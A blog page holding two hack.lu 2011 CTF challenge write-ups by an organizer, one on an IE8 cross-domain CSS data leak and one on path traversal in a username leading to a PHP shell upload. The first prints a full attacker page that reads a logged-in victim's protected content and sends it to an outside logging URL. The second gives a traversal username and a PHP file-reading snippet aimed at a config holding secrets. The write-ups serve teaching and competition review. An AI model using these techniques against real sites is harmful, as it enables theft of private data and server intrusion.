hack.lu CTF 2011 challenge writeup – Secret Space Code

September 27, 2011

Secret Space Code (SSC) was another web challenge I prepared for the hack.lu 2011 conference CTF. Because we experienced that web challenges are one of the most solved challenge categories during the last CTFs we participated and organized we decided to provide some tough ones.
SSC was about a client-side vulnerability in IE8 that has been patched in December 2010 without any big attention. However I felt this was a cool vulnerability and worth a 500 points challenge. The challenge text was:

The Secret Space Code (SSC) database holds a list of all space shuttle captains and their missile launch codes. You have stolen the X-wing Fighter “Incom T-65” from captain Cardboard and you need the missile launch codes for a crazy joyride. You have heard that the SSC admin (twitter: @secretspacecode) is from redmoon where they only use unpatched Internet Explorer 8 …

hint: Client-side challenges are error-prone. Practice your attack locally before sending a link to the SSC admin via private message.

After we got some metasploit tainted links we added the hint that “client-side” was referred to vulnerabilities like CSRF and XSS and not to client-side stack smashing 😉 Otherwise the challenge would not have been filed under the category web.
When visiting the challenge website there was only a password prompt. The first and easy task was – as in many other challenges – to detect the source code file index.phps:

<?php
error_reporting(0);
header('Server: Secret Space Codes');
header('Content-Type: text/html; charset=UTF-8');
header('X-XSS-Protection: 1; mode=block');
session_start();
?>
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
	<title>Secret Space Codes - Database</title>
</head>

<body>
<div id="main">
<h1>Secret Space Codes Database</h1>
<?php
require 'config.php';

if(isset($_GET['pass']))
{
	if($_GET['pass'] === $password)
	{
		$_SESSION['logged'] = true;
	} else
	{
		$_SESSION['logged'] = false;
		echo '<p>Wrong password, get lost in space!</p>',"\n";
	}
}

if(isset($_SESSION['logged']) && $_SESSION['logged'] === true)
{
	$conn = mysql_connect($Host, $User, $Password) 
		or die("Error: Can not connect to database. Challenge broken");

	mysql_select_db($Database, $conn) 
		or die("Error: Can not select database. Challenge broken");
		
	$where = '';
	echo '<form action="">',"\n",
	'<table>',"\n",
	'<tr>',"\n",'<td><input type="text" name="captain" value="';
	if(isset($_GET['captain']))
	{
		echo htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
		$captain = str_replace('all', '%', $_GET['captain']);
		$captain = mysql_real_escape_string($captain, $conn);
		$where.= "WHERE captain like '%$captain%' ";
	} else
	{
		echo 'all';
	}
	echo '" /></td>',"\n",'<td><select name="o">';
	if(isset($_GET['o']) && preg_match('/^(ASC|DESC)$/im', $_GET['o']))
	{	
		if(strtolower($_GET['o']) === 'asc')
			echo '<option selected>asc</option>',
			'<option>desc</option>';
		else if(strtolower($_GET['o']) === 'desc')
			echo '<option>asc</option>',
			'<option selected>desc</option>';	
			$where.= "ORDER BY captain ".$_GET['o'];
	} else
	{
		echo '<option>asc</option>',
			'<option>desc</option>';
	}
	echo '</select></td>',"\n",
	'<td><input type="submit" value="search" /></td>',"\n",
	'</tr>',"\n",
	'</table>',"\n",
	'</form>',"\n";
	$result = mysql_query("SELECT captain,code FROM captains $where", $conn);
	echo '<p>Result for captain '.htmlentities($_GET['captain'], ENT_QUOTES, 'utf-8');
	if(isset($_GET['o'])) 
		echo ' ('.htmlentities($_GET['o'], ENT_QUOTES, 'utf-8').'ending)';
	echo '</p>',"\n",
	'<table>',"\n",
	'<tr><th>captain</th><th>code</th></tr>',"\n";
	if(!mysql_error() && mysql_num_rows($result) > 0)
	{
		for($i=0; $i<mysql_num_rows($result); $i++)
		{
			if(!($row = mysql_fetch_array($result)))
			{
				die("Error. Challenge broken.");
			}
			$captain = htmlentities($row['captain'], ENT_QUOTES, 'utf-8');
			$code = htmlentities($row['code'], ENT_QUOTES, 'utf-8');
			echo "<tr><td>$captain</td><td>$code</td></tr>\n";
		}	
	} else
	{
		echo '<tr><td colspan="2">No codes found.</td></tr>',"\n";
	}
	echo '</table>',"\n";

} else
{
	echo '<form action="" method="GET">',"\n",'<table>',"\n",
	'<tr><th colspan="2">Login</th></tr>',"\n",
	'<tr><td>password:</td><td><input type="password" name="pass" value="" /></td></tr>',"\n",
	'<tr><td colspan="2" align="right"><input type="submit" value="login" /></td></tr>',"\n",
	'</table>',"\n",'</form>',"\n";
}	
?>	
</div>

</body>
</html>

The source code shows that after providing the right password the admin is logged in by session and gets a list of all captains and their codes. He also has the option to search for a specific captain and to order the list by GET parameter o ascending or descending. However there is no SQLi or XSS vulnerability. Everything is escaped and encoded correctly. The password was a 32 character long string and could not be guessed or bruteforced.
Anyway an attacker could steal the secrets knowing that his victim runs IE8. A very cool cross-domain leakage was published by scarybeast in September 2010 that could be used like the following to steal the missile launch codes from all captains:

  1. We reflect the following CSS via the GET parameter o:
    {}body{font-family:{
    

    That is possible because we only need braces that are not encoded by htmlspecialchars() and similar functions. Note that this means that every webapp is vulnerable to this attack as long as braces are not explicitly encoded.

  2. We load the webpage with our reflectively injected CSS as CSS resource:
    <link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    

    That is possible due to the lax IE8 CSS parsing. The first two braces make sure that every HTML content before our CSS is treated as (broken) CSS. Then our CSS starts where we define everything that follows in the HTML output as the body font-family. Because the IE8 parser will not find an ending brace it will include everything to the font-family until the end of file is reached.

  3. Now we have loaded the remote website with the whole content defined as font-family we simply access the currently computed font-family name and get the password protected content, when our victim is logged in and visits our prepared HTML webpage:
    <html>
    <head>
    	<link rel="stylesheet" type="text/css" href="https://ctf.hack.lu:2016/?captain=all&o=ASC{}body{font-family:{" />
    </head>
    <body>
    <script>
    function getStyle() {
    	var html = document.body.currentStyle.fontFamily;
    	//alert(html);
    	document.location.href="http://www.fluxfingers.net/?log="+encodeURIComponent(html);
    }
    window.setTimeout(getStyle, 2000);
    </script>
    </body>
    </html>
    

    We also set a timeout in case loading the remote site as CSS resource takes some time.

The code for captain Cardboard was F15-F29-F32-F65-F17-F22. For more information about this attack read scarybeasts blogpost or this paper. Note that this can only be reproduced with an unpatched IE8. Alternatively you can add the prepared HTML page to your trusted zone which will bypass the patch.
As almost expected nobody solved this challenge most likely because the attack has not got much attention. However knowing that it is IE8 specific one could have looked at the recent IE8 patches. Also SSC is backwards for CSS and could have got you in the right direction (scarybeasts blogpost is the second hit when googling “IE8 css security”). Thanks to .mario for bringing this vuln to my attention.

Advertisement

hack.lu CTF 2011 challenge writeup – AALabs (Part 1)

September 26, 2011

As last year our CTF team FluxFingers organized the hack.lu conference CTF. Again the CTF was open to participants all over the world.

As last year I prepared some web challenges designed in this years topic “space”. The challenge AALabs was about a website of a Asteroid Analysis Laboratory where you could create an account and upload asteroid meta data files for analysis. As a result a graph was shown to the user that summerized the amount of different material detected in that asteroid.

The challenge text was:

You have stolen the administrators password hashes from AALabs – a profitable technology center in outer space. However you were not able to crack them yet. Can you find out the salt?

Similar to last years web challenge you had to use different techniques to get the salt. At first you had to create an account with a unique username, your password and several other info about yourself. The AALabs webapp then internally created the new directory /home/files/username/ to later upload your files to a unique directory. Also the webapp added the user to the database for authentication and file authorization.
After registration you could login and upload your asteroid meta files. Once successfully uploaded, your file was listed in the analysis table with the option to delete the file and to create an analysis report.

Here one could find a SQL injection. By uploading a file named foobar the following SQL error was triggered when creating a report:

Query failed: UPDATE metafiles SET reportfile = ‘/home/files/username/foobar.report’ WHERE id = 7 AND userid = 3

Obviously the file name was escaped correctly when INSERTed into the table of uploaded files. However when creating a report and saving the new report file name (that includes the original file name) the name was not escaped correctly and the error was triggered during the UPDATE statement.
The trick here was to closely look at this error message before trying to exploit the SQL injection. It reveals the behavior that has been described above: the webapp operates with a directory that includes your username. Since it generates your report files in /home/files/username/ with your uploaded file name and the appended .report extension, it is very likely that it also uploads your file to the same directory /home/files/username/. That is safe at the first glance because the directory /home/files/ can not be accessed via webserver and many teams continued to investigate the SQL injection. However the SQL injection itself was a dead end because important characters like parenthesis were filtered. The SQL injection was actually a Information Leakage.
The trick was to register a new account with a Path Traversal in your username such as ../../var/www/Reiners. Doing so forces the webapp to upload your files into the webdirectory /var/www/ and your subdirectory Reiners/. After that you could simply upload your PHP shell to the webdirectory and access it by browser. Since the safe_mode was enabled (we will come back to that later in part 2) you had to use file functions for further investigation, for example:

<?php
// Listing all files in a directory:
print_r(scandir('/var/www/'));
// read the configuration file that includes the salt:
echo file_get_contents('/var/www/config.php');
?>

The salt and the solution for this first part of the challenge was:
AA!LaBS.

I omitted the task to use the salt and a given hash to crack the password because I felt this was boring, however it would have added just another technique required to get to the goal. So far for the first task that was worth 200 points. A second task was waiting for the teams that was worth another 300 points and that required to exploit PHP itself and bypass the safe_mode:

Now that you gained access to AALabs it is time to do some further digging to get into their system. However they seem to have a pretty safe configuration running on their webserver. Can you get around it and read the Flag?

A writeup will follow for this task. Unfortunetely only one team (props to bobsleigh) managed to solve the first task. I don’t think that the first task was too hard, however there were two distractions. First of all the SQL error was mostly pointing the teams to a SQL injection filter evasion challenge rather than a simple information leakage. Secondly the path traversal had to exactly point to the webdirectory because the www-data user had only write access to /home/files/ and to /var/www/. I can imagine that some teams tried to traverse only one directory up to see if path traversal is possible but stopped trying after not successfully writing to /home/.
Anyway I hope some teams enjoyed the challenge 🙂